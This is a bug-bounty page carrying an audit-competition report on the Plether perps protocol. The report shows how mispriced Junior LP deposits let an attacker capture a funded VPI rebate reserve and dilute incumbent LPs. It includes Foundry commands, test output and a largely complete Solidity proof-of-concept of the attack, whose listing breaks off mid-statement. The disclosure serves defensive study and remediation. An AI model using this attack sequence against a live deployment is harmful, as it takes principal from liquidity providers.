Skip to content
Business logic Audit finding Advanced

Junior LP entry omits a funded VPI clawback and diverts incumbent principal

A Junior LP deposit is priced without recognising a funded VPI rebate reserve that HousePool has already paid out, so new shares are minted too cheaply and capture part of the recovery owed to existing LPs. An attacker who first earns a negative VPI rebate can then deposit, close the position and redeem to take a net profit while incumbent LPs fall below their contributed principal.

Ox175 Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#98354 [SC-Critical] Junior LP entry omits a funded VPI clawback and diverts incumbent principal

Submitted on Nov 7th 2026 at 08:35:31 UTC by @Ox175 for Audit Competition | Plether

Description

Brief/Intro

An attacker can receive a negative virtual price impact (VPI) rebate from HousePool, then activate a large Junior LP deposit while the matching, fully funded clawback reserve is held in clearinghouse custody. The new shares are minted from cash-depressed Junior principal without pricing that protected recovery. When the attacker closes the position, the reserve returns to HousePool and the new shares take part of the return. A frozen v2.0.0 Foundry reproduction uses public Router and vault entrypoints for the entire attack and ends with no attacker position, reserve, or LP shares. In its realized-principal scenario, the incumbent's claim is 1,711.946910 USDG below its contributed capital; a same-state, reserve-recognizing quote would leave it 626.007561 USDG above capital. The entrant's extra entitlement is exactly the incumbent's 2,337.954471 USDG loss, and the attacker ultimately withdraws 341.394594 USDG more than its complete 30,500,000 USDG starting wealth after normal fees and carry.

Vulnerability Details

The incumbent owns every Junior share before the attacker enters. It supplies 10,000,000 USDG of durable Junior liquidity and owns the fixture's real 1,000 USDG Junior seed, for 10,001,000 USDG of contributed capital. An ordinary account opens a 2,500,000-notional LONG at 1.00, leaving positive LONG skew. The attacker controls a separately funded SHORT trading account and Junior LP account. The test uses the release-like 1% VPI factor, 40% skew cap, 4-bps execution fee, and 5% annual carry. In the principal-loss scenario, a valid public oracle update marks the ordinary LONG at 0.999 before the attack. The attacker's open, LP activation, close, and redemption then all use valid 0.999 data. The ordinary LONG is closed at 0.999 after the attacker closes and before the attacker redeems, making the ordinary trader's loss realized. That trader's action and result are held fixed in the ownership control.

Against the existing LONG skew, the attacker opens an equal SHORT. CfdEnginePlanLib.planOpen sets poolRebatePayoutAssets from the negative open trade cost and sets the protected reserve target to max(-vpiAccrued, 0) (packages/perps/src/libraries/CfdEnginePlanLib.sol:331-349). CfdEngineSettlementSidecar.executeOpen pays the rebate from HousePool into clearinghouse custody and locks the matching VPI reserve (packages/perps/src/CfdEngineSettlementSidecar.sol:442-478). The principal-loss run measures HousePool at 10,005,124.375124 USDG immediately before the SHORT and 10,002,007.219347 USDG after it: an exact 3,117.155777 USDG cash decrease. The account's negative lifetime VPI and its dedicated reserve both equal 3,117.155777 USDG. The cash outflow and segregated backing therefore reconcile atom for atom.

The backing is restricted. MarginClearinghouse._withdraw requires the post-withdrawal account balance to cover every locked bucket (packages/perps/src/MarginClearinghouse.sol:441-473), while _spendableActionReserveAssets subtracts the dedicated VPI amount from generic action-charge capacity (packages/perps/src/MarginClearinghouse.sol:975-984). The PoC checks that the account balance is the sum of free and locked assets and that withdrawing one atom beyond free buying power reverts. ACCOUNTING_SPEC.md:795-825 expressly says the VPI reserve is nonwithdrawable, cannot fund generic charges, and cannot be extracted by LPs before the account obligation settles. It is not freely spendable trader cash.

The attacker next requests a 30,000,000 USDG Junior deposit, waits for the normal epoch, calls public router.settleLpEpoch with valid 0.999 oracle data, and claims the shares. HousePool prices Junior deposits from juniorPrincipal and current Junior supply (packages/perps/src/HousePool.sol:914-920,1030-1048). TrancheVault.quoteDepositFromState uses that asset basis, supply, and its virtual-share rounding (packages/perps/src/TrancheVault.sol:1398-1409). The protected VPI reserve is in neither HousePool cash nor the Junior deposit price. Public settlement mints 30,007,753.576712737 attacker shares. Using the same reconciled pricing assets, supply, fee, and exact vault quote, but adding only the already funded 3,117.155777 USDG recovery to the ownership-pricing assets, would mint 29,998,401.211628930 shares. The surplus shares are the entry-pricing error.

The attacker fully closes its SHORT through router.commitOrder and router.executeOrder at 0.999. CloseAccountingLib clamps proportional lifetime VPI plus the new VPI delta so it cannot remain negative; its source comment explicitly describes this as an LP-sandwich defense (packages/perps/src/libraries/CloseAccountingLib.sol:103-118). CfdEnginePlanLib plans reserve consumption (packages/perps/src/libraries/CfdEnginePlanLib.sol:947-951,1035-1058). The settlement sidecar calls consumeVpiRebateReserve (packages/perps/src/CfdEngineSettlementSidecar.sol:690-697), and MarginClearinghouse debits the dedicated reserve and account balance before transferring real settlement tokens to HousePool (packages/perps/src/MarginClearinghouse.sol:883-906). The attacker position, lifetime VPI, and reserve all end at zero. HousePool rises from 40,002,007.219347 to 40,005,127.672610 USDG. The gross 3,120.453263 USDG rise contains the 3,117.155777 USDG reserve return and 3.297486 USDG of other close settlement; the report does not count that extra inflow as captured reserve. The ordinary LONG then closes at the same 0.999 mark and its account ends at 498,152.708629 USDG from 500,000 USDG supplied.

The documentation deliberately excludes VPI and its reserve from terminal K and symmetric NAV (packages/perps/SECURITY.md:859-872). That rule avoids treating an anticipated action charge as collectible price PnL or immediately withdrawable pool cash. The same text requires every negative lifetime VPI to have dedicated backing and says marked receivables can affect ownership pricing while remaining unavailable for redemption. This finding concerns the narrower interval after HousePool has physically paid the rebate and an equal amount has been segregated in a protected bucket. The incumbent shares funded that outflow. The lifetime clamp succeeds on its own terms in the test, yet a later cohort acquires the recovery at a price lowered by the outflow, defeating the stated LP-sandwich purpose. Ownership-only recognition or cohort attribution can preserve the conservative terminal NAV and redemption rules while preventing new shares from taking an old funded recovery.

Impact Details

The principal-loss PoC reconciles both LP claims in one post-close state, after the ordinary LONG's loss is realized. The control substitutes only the reserve-recognizing entrant share quote. The oracle mark, ordinary LONG result, VPI depth, senior coupon, carry, fees, actual cash movements, post-close Junior asset numerator, and vault rounding formula remain fixed. The incumbent's actual claim is 9,999,288.053090 USDG. With the funded reserve recognized at entry, those same incumbent shares would claim 10,001,626.007561 USDG. The 2,337.954471 USDG difference exactly equals the entrant's additional claim under actual minting. The incumbent contributed 10,001,000 USDG: actual pricing puts it 1,711.946910 USDG below contributed principal, whereas the reserve-recognizing control leaves it 626.007561 USDG above. Thus at least 1,711.946910 USDG of the proven transfer reaches existing LP principal, not merely unclaimed yield. The ordinary trader's 1,847.291371 USDG realized loss benefits the pool but is identical on both sides of this comparison, so it cannot explain the dilution.

The attacker estate reconciles independently. Junior redemption pays 30,002,342.892080 USDG against a 30,000,000 USDG LP deposit, a 2,342.892080 USDG LP gain. The trader withdraws its entire 497,998.502514 USDG clearinghouse balance to its wallet against 500,000 USDG supplied, a 2,001.497486 USDG trading loss after ordinary charges. Both attacker accounts together hold 30,500,341.394594 USDG in wallets, a realized 341.394594 USDG net gain. This USDG profit is after protocol charges, including execution fees and carry, but before native gas and real Pyth update fees, which the PoC does not measure. The SHORT, negative lifetime VPI, reserve, Junior shares, and clearinghouse balance are all zero. The incumbent entitlement loss is larger than the attacker net profit because the attacker pays real execution fees and carry while capturing the reserve.

The companion capital-sensitivity PoC repeats the realized-loss attack through the same public entrypoints with a tested lower attacker funding amount. Its candidate supplies 30,003,286.968157 USDG to the Junior LP account and 8,487.963741 USDG to the trading account, for 30,011,774.931898 USDG of attacker-funded capital, compared with 30,500,000 USDG in the fixed benchmark. With a 2,498,900-unit SHORT and a 7,489.203301 USDG opening pledge, it records a 342.273713 USDG net attacker gain, a 2,338.018061 USDG incumbent claim loss, and the same 1,711.946910 USDG incumbent principal shortfall. This is a tested candidate meeting the benchmark's three outcome thresholds, not a proof of a global minimum. Its one-atom and trade-size controls test nearby inputs only.

The requested impact is Critical direct theft of user funds: the same-state control identifies a 1,711.946910 USDG shortfall in already contributed incumbent capital that disappears when only the funded reserve is included in the entrant ownership quote. This is a claim about a completed value transfer from existing LP backing, not a prediction that a future VPI fee will accrue. The PoC does not infer severity from the 341.394594 USDG attacker profit alone. A separate constant-price test shows the mechanism and net extraction even when the ordinary LONG never changes mark: reserve 3,123.399452 USDG, equal-and-opposite incumbent/entrant shift 2,342.491164 USDG, attacker profit 341.454151 USDG. That test's incumbent claim remains above contributed capital, so the realized-principal test provides the additional severity evidence.

Two different fixes leave the root unresolved. First, a negative control sets the senior coupon rate to zero through the normal configuration path before the attack. The public-path test still records a 2,342.491201 USDG incumbent/entrant claim shift and 341.467887 USDG attacker profit. Correcting senior-yield accrual therefore does not address the Junior entry quote. Second, the negative-VPI trade and exact reserve exist before LP entry. The test applies the original pure CfdMath.calculateVPI formula to the reverse close at the pre-rebate depth and asserts its charge equals that same reserve. Thus holding VPI depth at its pre-entry value would still collect the clawback. The same-state ownership control changes no trade, skew, depth, or VPI calculation; it changes only the deposit's ownership-pricing asset basis. A manipulation-resistant VPI depth could change the size of future rebates, but any positive already funded reserve would still be misassigned at entry until ownership pricing or cohort attribution is corrected.

Recommended remediation is to preserve the incumbent cohort's right to recovery of cash already paid into a dedicated VPI reserve. Include attributable protected reserves in an ownership-only Junior deposit price while excluding them from redemption liquidity and terminal price-PnL collectibility, or track the originating LP cohort and credit it on reserve consumption. Regression coverage should repeat the public Router/vault lifecycle, compare the same-state claims, and require both the ordinary coupon setting and a zero-coupon setting to preserve pre-entry reserve ownership.

References

  • Plether Perps v2.0.0 frozen competition source at commit a82d4fefb02768e5b3bddcc97dee371eee24fea8.
  • packages/perps/src/libraries/CfdEnginePlanLib.sol:331-349,947-951,1035-1058.
  • packages/perps/src/CfdMath.sol:142-179.
  • packages/perps/src/CfdEngineSettlementSidecar.sol:442-478,690-697.
  • packages/perps/src/MarginClearinghouse.sol:441-473,883-906,975-984.
  • packages/perps/src/HousePool.sol:914-920,1030-1048.
  • packages/perps/src/TrancheVault.sol:562-604,606-632,1398-1409,1853-1866.
  • packages/perps/src/OrderRouter.sol:474-484.
  • packages/perps/SECURITY.md:859-872 and packages/perps/ACCOUNTING_SPEC.md:795-825.
  • Complete runnable test sources are included below: VpiReserveLpSandwichPoC.t.sol and VpiReserveMinimumCapital.t.sol. Place both side by side in packages/perps/test/perps/spec/lp/ in the frozen checkout; the second imports and inherits the first.
  • Competition scope and impact definitions: https://immunefi.com/audit-competition/plether/scope/ and https://immunefi.com/audit-competition/plether/information/.

Proof of Concept

Proof of Concept

Copy both complete Solidity files below into packages/perps/test/perps/spec/lp/ in the frozen v2.0.0 Foundry checkout, preserving their filenames. The second file imports the first, so they must be in the same directory. Neither changes an in-scope contract. The fixture's existing mock USDG and Pyth components are the only test doubles. From that checkout:

cd packages/perps
forge test --offline --match-path test/perps/spec/lp/VpiReserveLpSandwichPoC.t.sol -vv
forge test --offline --match-path test/perps/spec/lp/VpiReserveMinimumCapital.t.sol -vv

The file contains three tests. test_LpDepositCapturesOwnFutureNegativeVpiClawback is the constant-1.00 public-path attack. test_RealizedLongLossLeavesIncumbentPrincipalDiluted starts with the ordinary LONG at 1.00, moves to a valid 0.999 mark before the attacker opens, realizes the LONG's loss at that mark after the attacker closes, and proves that actual entry pricing transfers incumbent principal while the same-state reserve-recognizing control preserves it. test_ZeroSeniorCouponStillCapturesReserve disables the senior coupon before repeating the constant-price attack. In all three, orders use the deployed Router's V3 commitOrder(OrderRequest) and executeOrder entrypoints with valid Pyth updates; the test-only scalar commit adapter is never called. LP activation and redemption use normal request, maturity, public router.settleLpEpoch(validPythData), and claim calls. The trader withdraws its full unencumbered clearinghouse balance through withdrawMargin, so final attacker wealth is held in wallets. No attack-stage helper impersonates the Router.

Observed focused-test output for the realized-principal scenario (six-decimal USDG atoms except share lines):

[PASS] test_RealizedLongLossLeavesIncumbentPrincipalDiluted()
negative lifetime VPI before LP entry: -3117155777
protected reserve before LP entry: 3117155777
pool before rebate: 10005124375124
pool after rebate: 10002007219347
pool before clawback: 40002007219347
pool after clawback: 40005127672610
actual entrant shares: 30007753576712737
reserve-recognizing entrant shares: 29998401211628930
incumbent actual claim after close: 9999288053090
incumbent reserve-recognizing claim: 10001626007561
incumbent loss from entry quote: 2337954471
entrant gain from entry quote: 2337954471
attacker LP redemption proceeds: 30002342892080
attacker trader withdrawal: 497998502514
ordinary trader final balance: 498152708629
initial attacker capital: 30500000000000
final attacker wealth: 30500341394594
absolute attacker profit: 341394594

The same run also passed test_LpDepositCapturesOwnFutureNegativeVpiClawback with a 2,342.491164 USDG equal-and-opposite ownership shift and 341.454151 USDG net attacker profit, and test_ZeroSeniorCouponStillCapturesReserve with a 2,342.491201 USDG shift and 341.467887 USDG net profit. Suite result: 3 passed; 0 failed; 0 skipped.

The ownership control is an accounting counterfactual using the original vault's quote and conversion formulas, not a patched contract run. It recovers the exact reconciled Junior deposit basis as juniorPrincipal minus the accepted deposit, then calls quoteDepositFromState with and without the protected pre-entry reserve. At the identical post-close Junior assets it substitutes the reserve-recognizing shares into the vault's virtual-share conversion. The ordinary trader's realized loss, normal fees and carry, VPI depth, and rounding method are present on both sides. The equal-and-opposite 2,337.954471 USDG claim changes therefore isolate reserve omission. Public redemption and the final attacker estate calculation separately show that the attacker can withdraw a net profit after complete exit.

How the two PoCs differ

VpiReserveLpSandwichPoC.t.sol is the fixed-parameter mechanism and impact proof. Its three tests cover a constant-price attack, the realized LONG-loss case that puts incumbent principal below contributed capital, and a zero-senior-coupon control. It explicitly checks that the funded reserve is locked, that the entrant's extra claim reconciles with the incumbent's loss, and that both attacker accounts fully exit with wallet profit.

VpiReserveMinimumCapital.t.sol inherits that fixture and its three tests. Each of its own tests calls measureRealizedFresh for one complete realized-loss cycle while varying the Junior deposit, SHORT size, trader funding, or opening pledge. test_OneCycleReportBenchmark reproduces the report's fixed benchmark; test_OneCycleMinimumCandidate checks the lower-capital candidate stated above. test_OneCycleConfigured permits a separate run with VPI_LP, VPI_SIZE, VPI_TRADER, and VPI_PLEDGE. The remaining tests check one-atom reductions in the candidate's deposit, trader funding, and pledge, and compare a smaller SHORT and larger LP deposit. The one-atom funding and pledge tests catch a revert from the complete public-path measurement; they do not identify a specific revert reason or establish a universal funding minimum. The new measurement records elapsed time from just before the attacker SHORT opens through final withdrawal, rather than a separately measured capital lock duration. Its peakCapital is the sum funded by the two attacker accounts and excludes the independent incumbent and ordinary-trader fixture capital.

I ran both files together with forge test --offline --match-path 'test/perps/spec/lp/VpiReserve*.t.sol' -vv in the frozen v2.0.0 checkout: 14 tests passed, 0 failed, and 0 skipped. The second file's 11 runs include the three inherited tests. Selected observed output for the lower-capital candidate follows; amounts other than SHORT size are six-decimal USDG atoms:

[PASS] test_OneCycleMinimumCandidate()
LP deposit atoms: 30003286968157
SHORT size 18 decimals: 2498900000000000000000000
trader capital atoms: 8487963741
peak capital atoms: 30011774931898
funded reserve atoms: 3117155174
incumbent actual claim atoms: 9999288053090
incumbent fair claim atoms: 10001626071151
incumbent same-state claim loss atoms: 2338018061
incumbent principal loss atoms: 1711946910
net attacker gain atoms: 342273713
capital commitment seconds: 10798

Complete PoC source: VpiReserveLpSandwichPoC.t.sol

Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import {BasePerpTest} from "../../BasePerpTest.sol";
import {CfdMath} from "@plether/perps/CfdMath.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";

contract VpiReserveLpSandwichPoCTest is BasePerpTest {
    address internal constant DURABLE_LP = address(0xD00);
    address internal constant ORDINARY_LONG_TRADER = address(0xB001);
    address internal constant ATTACKER_TRADER = address(0xA771);
    address internal constant ATTACKER_LP = address(0xA770);

    uint256 internal constant DURABLE_CAPITAL = 10_000_000e6;
    uint256 internal constant ATTACKER_LP_CAPITAL = 30_000_000e6;
    uint256 internal constant ATTACKER_TRADER_CAPITAL = 500_000e6;
    uint256 internal constant POSITION_SIZE = 2_500_000e18;

    struct OwnershipControl {
        uint256 incumbentShares;
        uint256 actualQuote;
        uint256 fairQuote;
        uint256 actualIncumbentClaim;
        uint256 fairIncumbentClaim;
        uint256 actualEntrantClaim;
        uint256 fairEntrantClaim;
    }

    function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
        return CfdTypes.RiskParams({
            vpiFactor: 0.01e18,
            maxSkewRatio: 0.4e18,
            maintMarginBps: 10,
            initMarginBps: 20,
            fadMarginBps: 300,
            baseCarryBps: 500,
            minBountyAssets: 1e6,
            bountyBps: 10,
            keeperShareBps: 5000,
            protocolShareBps: 0
        });
    }

    function _initialJuniorDeposit() internal pure override returns (uint256) {
        return 0;
    }

    function _juniorSeedReceiver() internal pure override returns (address) {
        return DURABLE_LP;
    }

    function test_LpDepositCapturesOwnFutureNegativeVpiClawback() public {
        _runAttack(1e8, false);
    }

    function test_RealizedLongLossLeavesIncumbentPrincipalDiluted() public {
        _runAttack(99_900_000, true);
    }

    function test_ZeroSeniorCouponStillCapturesReserve() public {
        IHousePool.PoolConfig memory config = _currentPoolConfig();
        config.seniorRateBps = 0;
        pool.proposePoolConfig(config);
        vm.warp(pool.poolConfigActivationTime());
        router.updateMarkPrice(_mockPythUpdateData(1e8));
        pool.finalizePoolConfig();
        assertEq(pool.seniorRateBps(), 0, "negative control disables senior yield");
        _runAttack(1e8, false);
    }

    function _runAttack(uint256 attackPrice, bool realizeOrdinaryLongLoss) internal {
        _fundJuniorThroughRouter(DURABLE_LP, DURABLE_CAPITAL);
        _fundTrader(ORDINARY_LONG_TRADER, 500_000e6);
        _fundTrader(ATTACKER_TRADER, ATTACKER_TRADER_CAPITAL);

        _executeOrder(ORDINARY_LONG_TRADER, CfdTypes.Side.LONG, POSITION_SIZE, 100_000e6, false, 1e8);
        if (realizeOrdinaryLongLoss) {
            router.updateMarkPrice(_mockPythUpdateData(attackPrice));
        }
        uint256 poolBeforeRebate = pool.totalAssets();
        _executeOrder(ATTACKER_TRADER, CfdTypes.Side.SHORT, POSITION_SIZE, 100_000e6, false, attackPrice);
        uint256 poolAfterRebate = pool.totalAssets();

        (,,,,,, int256 attackerVpiBeforeLpEntry) = engine.positions(ATTACKER_TRADER);
        uint256 reserveBeforeLpEntry = clearinghouse.vpiRebateReserveAssets(ATTACKER_TRADER);
        assertLt(attackerVpiBeforeLpEntry, 0, "attacker open must receive negative lifetime VPI");
        assertEq(reserveBeforeLpEntry, uint256(-attackerVpiBeforeLpEntry), "rebate must remain fully reserved");
        assertEq(poolBeforeRebate - poolAfterRebate, reserveBeforeLpEntry, "pool cash out equals funded reserve");
        uint256 preExistingSkewAssets = POSITION_SIZE * attackPrice / 1e20;
        assertEq(
            CfdMath.calculateVPI(0, preExistingSkewAssets, poolBeforeRebate, 0.01e18),
            int256(reserveBeforeLpEntry),
            "fixed pre-rebate depth would still claw back the same reserve"
        );
        assertGe(
            clearinghouse.actionReserveAssets(ATTACKER_TRADER), reserveBeforeLpEntry,
            "protected reserve must be locked in clearinghouse custody"
        );
        uint256 freeSettlement = clearinghouse.getFreeBuyingPowerAssets(ATTACKER_TRADER);
        assertEq(
            clearinghouse.balanceAssets(ATTACKER_TRADER),
            freeSettlement + clearinghouse.lockedMarginAssets(ATTACKER_TRADER),
            "reserve is part of locked settlement, not withdrawable cash"
        );
        vm.prank(ATTACKER_TRADER);
        vm.expectRevert();
        clearinghouse.withdrawMargin(freeSettlement + 1);

        OwnershipControl memory ownership;
        ownership.incumbentShares = juniorVault.balanceOf(DURABLE_LP);
        assertEq(ownership.incumbentShares, juniorVault.totalSupply(), "incumbent owns every pre-entry share");

        settlementToken.mint(ATTACKER_LP, ATTACKER_LP_CAPITAL);
        vm.startPrank(ATTACKER_LP);
        settlementToken.approve(address(juniorVault), ATTACKER_LP_CAPITAL);
        uint256 depositRequestId = juniorVault.requestDeposit(ATTACKER_LP_CAPITAL, ATTACKER_LP, ATTACKER_LP);
        vm.stopPrank();
        vm.warp(juniorVault.depositEpochStart(depositRequestId));
        uint256 pricingSupply = juniorVault.accruedTotalSupply();
        router.settleLpEpoch(_mockPythUpdateData(attackPrice));
        vm.prank(ATTACKER_LP);
        uint256 attackerShares = juniorVault.claimDepositShares(depositRequestId);
        uint256 pricingAssets = pool.juniorPrincipal() - ATTACKER_LP_CAPITAL;
        ownership.actualQuote = juniorVault.quoteDepositFromState(ATTACKER_LP_CAPITAL, pricingAssets, pricingSupply, 0);
        ownership.fairQuote = juniorVault.quoteDepositFromState(
            ATTACKER_LP_CAPITAL, pricingAssets + reserveBeforeLpEntry, pricingSupply, 0
        );
        assertEq(attackerShares, ownership.actualQuote, "public activation must use the reserve-excluding quote");
        assertLt(ownership.fairQuote, attackerShares, "recognizing funded recovery must mint fewer shares");

        uint256 poolBeforeClawback = pool.totalAssets();

        _executeOrder(ATTACKER_TRADER, CfdTypes.Side.SHORT, POSITION_SIZE, 0, true, attackPrice);
        (uint256 attackerSizeAfter,,,,,, int256 attackerVpiAfter) = engine.positions(ATTACKER_TRADER);
        assertEq(attackerSizeAfter, 0, "attacker trading position fully closed");
        assertEq(attackerVpiAfter, 0, "negative lifetime VPI fully clawed back");
        assertEq(clearinghouse.vpiRebateReserveAssets(ATTACKER_TRADER), 0, "reserve consumed on close");
        uint256 poolAfterClawback = pool.totalAssets();
        assertGe(poolAfterClawback - poolBeforeClawback, reserveBeforeLpEntry, "clawback restores all reserved cash");
        if (realizeOrdinaryLongLoss) {
            _executeOrder(ORDINARY_LONG_TRADER, CfdTypes.Side.LONG, POSITION_SIZE, 0, true, attackPrice);
            (uint256 ordinarySizeAfter,,,,,,) = engine.positions(ORDINARY_LONG_TRADER);
            assertEq(ordinarySizeAfter, 0, "ordinary trader loss must be realized before principal comparison");
            assertLt(
                clearinghouse.balanceAssets(ORDINARY_LONG_TRADER), 500_000e6,
                "ordinary trader loses despite incumbent principal impairment"
            );
        }

        uint256 actualSupply = juniorVault.accruedTotalSupply();
        uint256 fairSupply = actualSupply - attackerShares + ownership.fairQuote;
        uint256 postCloseJuniorAssets = juniorVault.totalAssets();
        ownership.actualIncumbentClaim = juniorVault.convertToAssets(ownership.incumbentShares);
        ownership.fairIncumbentClaim =
            Math.mulDiv(ownership.incumbentShares, postCloseJuniorAssets + 1, fairSupply + 1000);
        ownership.actualEntrantClaim = juniorVault.convertToAssets(attackerShares);
        ownership.fairEntrantClaim = Math.mulDiv(ownership.fairQuote, postCloseJuniorAssets + 1, fairSupply + 1000);
        assertGt(ownership.fairIncumbentClaim, ownership.actualIncumbentClaim, "incumbent claim is diluted");
        if (realizeOrdinaryLongLoss) {
            assertLt(
                ownership.actualIncumbentClaim, DURABLE_CAPITAL + 1000e6,
                "actual incumbent claim must fall below contributed capital"
            );
            assertGt(
                ownership.fairIncumbentClaim, DURABLE_CAPITAL + 1000e6,
                "reserve-recognizing control must preserve incumbent principal"
            );
        }
        assertGt(ownership.actualEntrantClaim, ownership.fairEntrantClaim, "entrant receives diluted value");
        assertApproxEqAbs(
            ownership.fairIncumbentClaim - ownership.actualIncumbentClaim,
            ownership.actualEntrantClaim - ownership.fairEntrantClaim,
            2,
            "same-state ownership control must reconcile both sides"
        );

        vm.warp(vm.getBlockTimestamp() + 1 hours);
        vm.prank(ATTACKER_LP);
        uint256 requestId = juniorVault.requestRedeem(attackerShares, ATTACKER_LP, ATTACKER_LP);
        vm.warp(juniorVault.depositEpochStart(requestId));
        router.settleLpEpoch(_mockPythUpdateData(attackPrice));
        uint256 claimableShares = juniorVault.claimableRedeemRequest(requestId, ATTACKER_LP);
        vm.prank(ATTACKER_LP);
        uint256 redeemedAssets = juniorVault.claimRedeem(requestId, claimableShares, ATTACKER_LP, ATTACKER_LP);
        assertEq(juniorVault.balanceOf(ATTACKER_LP), 0, "attacker exits all LP shares");

        assertEq(clearinghouse.lockedMarginAssets(ATTACKER_TRADER), 0, "trader has no remaining reserve");
        uint256 traderFinalBalance = clearinghouse.balanceAssets(ATTACKER_TRADER);
        vm.prank(ATTACKER_TRADER);
        clearinghouse.withdrawMargin(traderFinalBalance);
        assertEq(clearinghouse.balanceAssets(ATTACKER_TRADER), 0, "trader account fully withdrawn");
        uint256 finalWealth = settlementToken.balanceOf(ATTACKER_LP) + settlementToken.balanceOf(ATTACKER_TRADER);
        uint256 

The original report as published on Immunefi, by Ox175. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Junior deposit share price is computed only from current pool cash and supply, omitting a protected reserve that has already been funded and is owed back to the pool.

Impact

Existing LP principal could be diluted by about 1,711.95 USDG in the tested scenario, with the attacker netting roughly 341 USDG after fees and carry; the figures come from a Foundry reproduction, not a live deployment.

What the attacker needed

Attacker holds a funded trading account; attacker holds a funded Junior LP account; existing LONG skew in the pool; valid oracle price updates

The fix

The deposit ownership price should include attributable protected reserves while keeping them out of redemption liquidity, or the originating LP cohort should be credited when the reserve is consumed.

How it was found

  1. Fund a durable Junior LP position and an ordinary LONG trader, then open a LONG to create positive skew.
  2. Open an equal SHORT against that skew so the account receives a negative VPI rebate paid from HousePool into a locked reserve.
  3. Request a large Junior deposit, wait for the epoch, settle it through the public router and claim the shares.
  4. Close the SHORT so the reserve is consumed and returns to HousePool.
  5. Redeem the Junior shares and withdraw the trading balance to the wallet.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Liquidity providers put money into a pool and get shares representing their slice of it. When the pool pays out a rebate, that cash leaves, but a matching amount is set aside to be clawed back later. The deposit pricing ignored that set-aside money, so a new depositor got shares as if the pool were poorer than it really was, and later took part of the returning cash that belonged to the earlier providers.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Ox175

View all

3 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.